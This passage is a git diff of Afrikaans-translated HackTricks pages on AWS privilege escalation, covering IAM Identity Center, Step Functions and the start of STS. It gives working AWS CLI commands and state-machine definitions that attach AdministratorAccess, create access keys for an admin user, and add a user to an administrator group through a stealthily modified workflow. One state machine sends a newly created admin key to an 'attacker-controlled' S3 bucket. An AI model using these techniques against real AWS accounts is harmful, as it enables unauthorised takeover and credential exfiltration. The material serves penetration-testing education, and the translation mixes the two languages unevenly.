dit slegs toelaat as die rekening 'n **Gedelegeerde Administrateur** is.\ -> [Kyk die dokumentasie vir meer inligting.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> Let daarop dat by **standaard**, slegs **gebruikers** met permissies **from** die **Management Account** toegang sal hê en die **IAM Identity Center** kan **control**.\ +> Gebruikers van ander rekeninge kan dit slegs toelaat as die rekening 'n **Delegated Adminstrator.** is.\ +> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) ### ~~Herstel Wagwoord~~ -'n Maklike manier om voorregte te verhoog in gevalle soos hierdie, sou wees om 'n toestemming te hê wat toelaat om gebruikers se wagwoorde te herstel. Ongelukkig is dit slegs moontlik om 'n e-pos aan die gebruiker te stuur om sy wagwoord te herstel, so jy sal toegang tot die gebruiker se e-pos nodig hê. +'n Maklike manier om voorregte in sulke gevalle te eskaleer sou wees om 'n toestemming te hê wat toelaat om gebruikers se wagwoorde te herstel. Ongelukkig is dit slegs moontlik om 'n e-pos na die gebruiker te stuur om sy wagwoord te herstel, so jy sal toegang tot die gebruiker se e-pos nodig hê. ### `identitystore:CreateGroupMembership` -Met hierdie toestemming is dit moontlik om 'n gebruiker binne 'n groep te plaas sodat hy al die toestemmings wat die groep het, sal erf. +Met hierdie toestemming is dit moontlik om 'n gebruiker in 'n groep te plaas sodat hy alle toestemmings wat die groep het, erf. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -'n Aanvaller met hierdie toestemming kan ekstra toestemmings toeken aan 'n Toestemmingstel wat aan 'n gebruiker onder sy beheer toegeken is. +'n aanvaller met hierdie toestemming kan ekstra toestemmings aan 'n Permission Set verleen wat aan 'n user toegeken is wat onder sy beheer is. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -'n Aanvaller met hierdie toestemming kan ekstra toestemmings toeken aan 'n Toestemmingstel wat aan 'n gebruiker onder sy beheer toegeken is. +'n aanvaller met hierdie toestemming kan ekstra regte aan 'n Permission Set toeken wat aan 'n gebruiker onder sy beheer gegee is ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -'n Aanvaller met hierdie toestemming kan ekstra toestemmings toeken aan 'n Toestemmingstel wat aan 'n gebruiker onder sy beheer toegeken is. +'n Aanvaller met hierdie toestemming kan ekstra toestemmings aan 'n Permission Set verleen wat aan 'n gebruiker onder sy beheer toegeken is. > [!WARNING] -> Om hierdie toestemmings in hierdie geval te misbruik, moet jy die **naam van 'n kliënt bestuurde beleid weet wat binne AL die rekeninge is** wat geraak gaan word. +> Om hierdie toestemmings in hierdie geval te misbruik, moet jy die **naam van 'n customer managed policy wat in ALL die accounts is wat geraak gaan word** ken. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -73,40 +73,40 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:CreateAccountAssignment` -'n Aanvaller met hierdie toestemming kan 'n Toestemmingstel aan 'n gebruiker onder sy beheer toeken aan 'n rekening. +'n aanvaller met hierdie toestemming kan 'n Permission Set aan 'n gebruiker onder sy beheer vir 'n account toewys. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` ### `sso:GetRoleCredentials` -Gee die STS korttermyn geloofsbriewe vir 'n gegewe rolnaam wat aan die gebruiker toegeken is. +Gee die STS korttermyn credentials vir 'n gegewe role name wat aan die user toegewys is. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -However, jy het 'n toegangstoken nodig wat ek nie seker weet hoe om te kry nie (TODO). +Jy het egter 'n access token nodig wat ek nie seker is hoe om te kry nie (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -'n Aanvaller met hierdie toestemming kan die assosiasie tussen 'n AWS bestuurde beleid en die gespesifiseerde toestemmingstel verwyder. Dit is moontlik om meer voorregte toe te ken deur **'n bestuurde beleid te ontkoppel (weier beleid)**. +'n aanvaller met hierdie toestemming kan die assosiasie tussen 'n AWS managed policy en die gespesifiseerde permission set verwyder. Dit is moontlik om meer voorregte toe te ken deur **detaching a managed policy (deny policy)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -'n Aanvaller met hierdie toestemming kan die assosiasie tussen 'n kliënt bestuurde beleid en die gespesifiseerde toestemmingset verwyder. Dit is moontlik om meer voorregte toe te ken deur **'n bestuurde beleid (weier beleid)** te ontkoppel. +’n aanvaller met hierdie toestemming kan die assosiasie tussen ’n Customer managed policy en die gespesifiseerde permission set verwyder. Dit is moontlik om meer voorregte toe te ken deur **detaching a managed policy (deny policy)**. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -'n Aanvaller met hierdie toestemming kan die toestemmings uit 'n inline beleid van die toestemmingstel verwyder. Dit is moontlik om **meer voorregte te verleen deur 'n inline beleid (weier beleid) te ontkoppel**. +An attacker met hierdie toestemming kan die toestemmings van 'n inline policy in die permission set verwyder. Dit is moontlik om **meer voorregte te verleen deur 'n inline policy (deny policy) los te koppel**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` ### `sso:DeletePermissionBoundaryFromPermissionSet` -'n Aanvaller met hierdie toestemming kan die Permission Boundary uit die toestemmingstel verwyder. Dit is moontlik om **meer bevoegdhede te verleen deur die beperkings op die Toestemmingstel** wat van die Permission Boundary gegee is, te verwyder. +'n aanvaller met hierdie toestemming kan die Permission Boundary van die Permission Set verwyder. Dit is moontlik om **meer voorregte te verleen deur die beperkings op die Permission Set wat deur die Permission Boundary opgelê is te verwyder**. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md deleted file mode 100644 index b7e01f1cf..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ /dev/null @@ -1,231 +0,0 @@ -# AWS - Step Functions Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Vir meer inligting oor hierdie AWS-diens, kyk: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Taak Hulpbronne - -Hierdie voorregverhoging tegnieke gaan vereis dat jy 'n paar AWS stap funksie hulpbronne gebruik om die verlangde voorregverhoging aksies uit te voer. - -Om al die moontlike aksies te kontroleer, kan jy na jou eie AWS-rekening gaan, die aksie kies wat jy wil gebruik en die parameters wat dit gebruik, soos in: - -
- -Of jy kan ook na die API AWS-dokumentasie gaan en elke aksie se dokumentasie nagaan: - -- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) -- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) - -### `states:TestState` & `iam:PassRole` - -'n Aanvaller met die **`states:TestState`** & **`iam:PassRole`** toestemmings kan enige staat toets en enige IAM-rol daaraan oorplaas sonder om 'n bestaande staat masjien te skep of op te dateer, wat moontlik ongeoorloofde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. Saam kan hierdie toestemmings lei tot uitgebreide ongeoorloofde aksies, van die manipulasie van werksvloei tot die verandering van data, datalekke, hulpbron manipulasie, en voorregverhoging. -```bash -aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] -``` -Die volgende voorbeelde toon hoe om 'n toestand te toets wat 'n toegangsleutel vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie toestemmings en 'n toegeeflike rol van die AWS-omgewing. Hierdie toegeeflike rol moet enige hoë-bevoegdheid beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestand toelaat om die **`iam:CreateAccessKey`** aksie uit te voer: - -- **stateDefinition.json**: -```json -{ -"Type": "Task", -"Parameters": { -"UserName": "admin" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"End": true -} -``` -- **Opdrag** uitgevoer om die privesc te verrig: -```bash -aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole - -{ -"output": "{ -\"AccessKey\":{ -\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", -\"CreateDate\":\"2024-07-09T16:59:11Z\", -\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", -\"Status\":\"Active\", -\"UserName\":\"admin\" -} -}", -"status": "SUCCEEDED" -} -``` -**Potensiële Impak**: Onbevoegde uitvoering en manipulasie van werksvloei en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. - -### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) - -'n Aanvaller met die **`states:CreateStateMachine`**& **`iam:PassRole`** sal in staat wees om 'n staatmasjien te skep en enige IAM-rol aan dit toe te ken, wat onbevoegde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. In teenstelling met die vorige privesc tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie self uit nie; jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** toestemmings nodig hê (**`states:StartSyncExecution`** is **nie beskikbaar vir standaard werksvloei nie**, **net vir uitdrukkingsstaatmasjiene**) om 'n uitvoering oor die staatmasjien te begin. -```bash -# Create a state machine -aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] - -# Start a state machine execution -aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] - -# Start a Synchronous Express state machine execution -aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] -``` -Die volgende voorbeelde toon hoe om 'n toestandsmasjien te skep wat 'n toegangsleutel vir die **`admin`** gebruiker skep en hierdie toegangsleutel na 'n aanvaller-beheerde S3-bucket uit te voer, terwyl hierdie toestemmings en 'n toegeeflike rol van die AWS-omgewing benut word. Hierdie toegeeflike rol moet enige hoë-privilege beleid hê wat daarmee geassosieer is (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestandsmasjien toelaat om die **`iam:CreateAccessKey`** & **`s3:putObject`** aksies uit te voer. - -- **stateMachineDefinition.json**: -```json -{ -"Comment": "Malicious state machine to create IAM access key and upload to S3", -"StartAt": "CreateAccessKey", -"States": { -"CreateAccessKey": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"Parameters": { -"UserName": "admin" -}, -"ResultPath": "$.AccessKeyResult", -"Next": "PrepareS3PutObject" -}, -"PrepareS3PutObject": { -"Type": "Pass", -"Parameters": { -"Body.$": "$.AccessKeyResult.AccessKey", -"Bucket": "attacker-controlled-S3-bucket", -"Key": "AccessKey.json" -}, -"ResultPath": "$.S3PutObjectParams", -"Next": "PutObject" -}, -"PutObject": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:s3:putObject", -"Parameters": { -"Body.$": "$.S3PutObjectParams.Body", -"Bucket.$": "$.S3PutObjectParams.Bucket", -"Key.$": "$.S3PutObjectParams.Key" -}, -"End": true -} -} -} -``` -- **Opdrag** uitgevoer om die **toestandmasjien** te **skep**: -```bash -aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole -{ -"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", -"creationDate": "2024-07-09T20:29:35.381000+02:00" -} -``` -- **Opdrag** uitgevoer om **'n uitvoering** van die voorheen geskepte toestandmasjien te **begin**: -```json -aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine -{ -"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", -"startDate": "2024-07-09T20:33:35.466000+02:00" -} -``` -> [!WARNING] -> Die aanvaller-beheerde S3-bucket moet toestemmings hê om 'n s3:PutObject aksie van die slagoffer rekening te aanvaar. - -**Potensiële Impak**: Ongeoorloofde uitvoering en manipulasie van werksvloei en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. - -### `states:UpdateStateMachine` & (nie altyd vereis nie) `iam:PassRole` - -'n Aanvaller met die **`states:UpdateStateMachine`** toestemming sal in staat wees om die definisie van 'n staat masjien te wysig, en kan ekstra stealthy state byvoeg wat kan eindig in 'n privilege eskalasie. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die staat masjien begin, sal hierdie nuwe kwaadwillige stealth staat uitgevoer word en die privilege eskalasie sal suksesvol wees. - -Afhangende van hoe permissief die IAM Rol wat aan die staat masjien gekoppel is, is, sal 'n aanvaller 2 situasies in die gesig staar: - -1. **Permissiewe IAM Rol**: As die IAM Rol wat aan die staat masjien gekoppel is, reeds permissief is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`** toestemming nie vereis word om privileges te eskaleer nie, aangesien dit nie nodig sal wees om ook die IAM Rol op te dateer nie, met die staat masjien definisie is genoeg. -2. **Nie permissiewe IAM Rol**: In teenstelling met die vorige geval, hier sal 'n aanvaller ook die **`iam:PassRole`** toestemming benodig aangesien dit nodig sal wees om 'n permissiewe IAM Rol aan die staat masjien te koppel, benewens om die staat masjien definisie te wysig. -```bash -aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] -``` -Die volgende voorbeelde toon hoe om 'n wettige toestandmasjien op te dateer wat net 'n HelloWorld Lambda-funksie aanroep, om 'n ekstra toestand by te voeg wat die gebruiker **`unprivilegedUser`** by die **`administrator`** IAM-groep voeg. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die opgedateerde toestandmasjien begin, sal hierdie nuwe kwaadwillige stealth-toestand uitgevoer word en die bevoegdheidstoename sal suksesvol wees. - -> [!WARNING] -> As die toestandmasjien nie 'n toelaatbare IAM-rol geassosieer het nie, sal dit ook die **`iam:PassRole`** toestemming benodig om die IAM-rol op te dateer ten einde 'n toelaatbare IAM-rol te assosieer (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid geheg). - -{{#tabs }} -{{#tab name="Legit State Machine" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} - -{{#tab name="Kwaadwillige Opgedateerde Toestandmasjien" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "AddUserToGroup" -}, -"AddUserToGroup": { -"Type": "Task", -"Parameters": { -"GroupName": "administrator", -"UserName": "unprivilegedUser" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} -{{#endtabs }} - -- **Opdrag** uitgevoer om **die regte toestand masjien** op te **dateer**: -```bash -aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json -{ -"updateDate": "2024-07-10T20:07:10.294000+02:00", -"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" -} -``` -**Potensiële Impak**: Onbevoegde uitvoering en manipulasie van werksvloei en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md new file mode 100644 index 000000000..e57a9d295 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md @@ -0,0 +1,231 @@ +# AWS - Step Functions Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Vir meer inligting oor hierdie AWS-diens, sien: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Task Resources + +Hierdie privilege escalation-tegnieke vereis die gebruik van sekere AWS Step Functions resources om die verlangde privilege escalation-aksies uit te voer. + +Om alle moontlike aksies te kontroleer, kan jy na jou eie AWS-rekening gaan, die aksie kies wat jy wil gebruik en die parameters sien wat dit gebruik, soos in: + +
+ +Of jy kan ook na die API AWS-dokumentasie gaan en elke aksie se dokumentasie nagaan: + +- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) +- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) + +### `states:TestState` & `iam:PassRole` + +'n Aanvaller met die **`states:TestState`**- en **`iam:PassRole`**-permitte kan enige state toets en enige IAM role aan dit deurgee sonder om 'n bestaande state machine te skep of by te werk, wat moontlik ongeoorloofde toegang tot ander AWS-dienste met die role se permissies kan moontlik maak. Gecombineer kan hierdie permissies lei tot uitgebreide ongeoorloofde aksies, van die manipulasie van workflows en die verandering van data tot data-oortredings, hulpbronmanipulasie en privilege escalation. +```bash +aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] +``` +Die volgende voorbeelde wys hoe om 'n state te toets wat 'n access key vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie permissies en 'n permissiewe rol in die AWS-omgewing. Hierdie permissiewe rol moet aan 'n hooggeprivilegieerde beleid gekoppel wees (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die state toelaat om die **`iam:CreateAccessKey`** aksie uit te voer: + +- **stateDefinition.json**: +```json +{ +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true +} +``` +- **Kommando** uitgevoer om die privesc uit te voer: +```bash +aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole + +{ +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" +} +``` +**Potensiële impak**: Ongeoorloofde uitvoering en manipulasie van werkstrome en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsinbreuke kan lei. + +### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) + +'n Aanvaller met die **`states:CreateStateMachine`** en **`iam:PassRole`** kan 'n staatmasjien skep en enige IAM-rol daaraan toewys, wat ongemagtigde toegang tot ander AWS-dienste met die rol se magtigings moontlik maak. In teenstelling met die vorige privesc-tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie op sy eie uit nie — jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** toestemmings nodig hê (**`states:StartSyncExecution`** is **nie beskikbaar vir standaard-workflows nie**, **slegs vir express state machines**) om 'n uitvoering van die staatmasjien te begin. +```bash +# Create a state machine +aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] + +# Start a state machine execution +aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] + +# Start a Synchronous Express state machine execution +aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +``` +Die volgende voorbeelde wys hoe om 'n state machine te skep wat 'n access key vir die **`admin`** gebruiker skep en hierdie access key na 'n deur die aanvaller beheerde S3-bucket exfiltreer, deur gebruik te maak van hierdie permissies en 'n permissiewe rol in die AWS-omgewing. Hierdie permissiewe rol moet 'n hooggeprivilegieerde beleid hê wat daaraan gekoppel is (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) en wat die state machine toelaat om die **`iam:CreateAccessKey`** en **`s3:putObject`** aksies uit te voer. + +- **stateMachineDefinition.json**: +```json +{ +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} +} +``` +- **Opdrag** uitgevoer om **die toestandsmasjien te skep**: +```bash +aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole +{ +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" +} +``` +- **Opdrag** uitgevoer om **'n uitvoering te begin** van die voorheen geskepte state machine: +```json +aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine +{ +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" +} +``` +> [!WARNING] +> Die aanvaller-beheerde S3 bucket moet toestemmings hê om 'n s3:PutObject-aksie van die slagoffer-rekening te aanvaar. + +**Potensiële impak**: Ongeauthorizeerde uitvoering en manipulasie van werkstrome en toegang tot sensitiewe hulpbronne, wat moontlik tot betekenisvolle sekuriteitsinbreuke kan lei. + +### `states:UpdateStateMachine` & (not always required) `iam:PassRole` + +'n Aanvaller met die **`states:UpdateStateMachine`** toestemming sou die definisie van 'n state machine kan wysig en ekstra sluipende states kan byvoeg wat tot 'n privilege escalation kan lei. Op hierdie manier, wanneer 'n regmatige gebruiker 'n uitvoering van die state machine begin, sal hierdie nuwe kwaadwillige sluip-state uitgevoer word en sal die privilege escalation suksesvol wees. + +Afhangend van hoe permissief die IAM Role wat aan die state machine gekoppel is is, sal 'n aanvaller twee situasies teëkom: + +1. **Permissief IAM Role**: Indien die IAM Role wat aan die state machine gekoppel is reeds permissief is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`** toestemming nie benodig word om privileges op te skerp nie, aangesien dit nie nodig is om ook die IAM Role te wysig nie; die state machine definisie alleen is genoeg. +2. **Nie-permissief IAM Role**: In teenstelling met die vorige geval, sal 'n aanvaller hier ook die **`iam:PassRole`** toestemming benodig aangesien dit nodig sal wees om 'n permissief IAM Role aan die state machine toe te ken, benewens die wysiging van die state machine definisie. +```bash +aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] +``` +Die volgende voorbeelde wys hoe om 'n legitieme staatmasjien wat net 'n HelloWorld Lambda funksie aanroep, by te werk sodat 'n ekstra toestand bygevoeg word wat die gebruiker **`unprivilegedUser`** by die **`administrator`** IAM Group voeg. Op hierdie manier, wanneer 'n legitieme gebruiker 'n uitvoering van die opgedateerde staatmasjien begin, sal hierdie nuwe kwaadwillige onopvallende toestand uitgevoer word en sal die privilege escalation suksesvol wees. + +> [!WARNING] +> As die state machine nie 'n permissiewe IAM Role geassosieer het nie, sal die **`iam:PassRole`** toestemming ook vereis wees om die IAM Role op te dateer sodat 'n permissiewe IAM Role geassosieer kan word (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg). + +{{#tabs }} +{{#tab name="Legit State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} + +{{#tab name="Malicious Updated State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} +{{#endtabs }} + +- **Kommando** uitgevoer om **werk by** **die legitieme toestandsmasjien**: +```bash +aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json +{ +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +``` +**Potensiële impak**: Ongeoorloofde uitvoering en manipulasie van werkvloeie en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsinbreuke kan lei. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md deleted file mode 100644 index ca1b55dca..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - STS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## STS - -### `sts:AssumeRole` - -Elke rol word geskep met 'n **rol se vertrouensbeleid**, hierdie beleid dui aan **wie die geskepte rol kan aanneem**. As 'n rol van die **dieselfde rekening** sê dat 'n rekening dit kan aanneem, beteken dit dat daardie rekening toegang tot die rol sal hê (en moontlik **privesc**). - -Byvoorbeeld, die volgende rol se vertrouensbeleid dui aan dat enigiemand dit kan aanneem, daarom sal **enige gebruiker sal in staat wees om te privesc** tot die toestemmings wat aan daardie rol gekoppel is. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Jy kan 'n rol naboots wat loop: -```bash -aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname -``` -**Potensiële impak:** Privesc na die role. - -> [!CAUTION] -> Let wel dat in hierdie geval die toestemming `sts:AssumeRole` **indicated in the role to abuse** moet wees en nie in 'n beleid wat aan die attacker behoort nie.\ -> Met een uitsondering: om **assume a role from a different account** te kan doen, moet die attacker account **ook** die **`sts:AssumeRole`** oor die role hê. - - -### `sts:AssumeRoleWithSAML` - -'n trust policy met hierdie role verleen **users authenticated via SAML access to impersonate the role.** - -'n voorbeeld van 'n trust policy met hierdie toestemming is: -```json -{ -"Version": 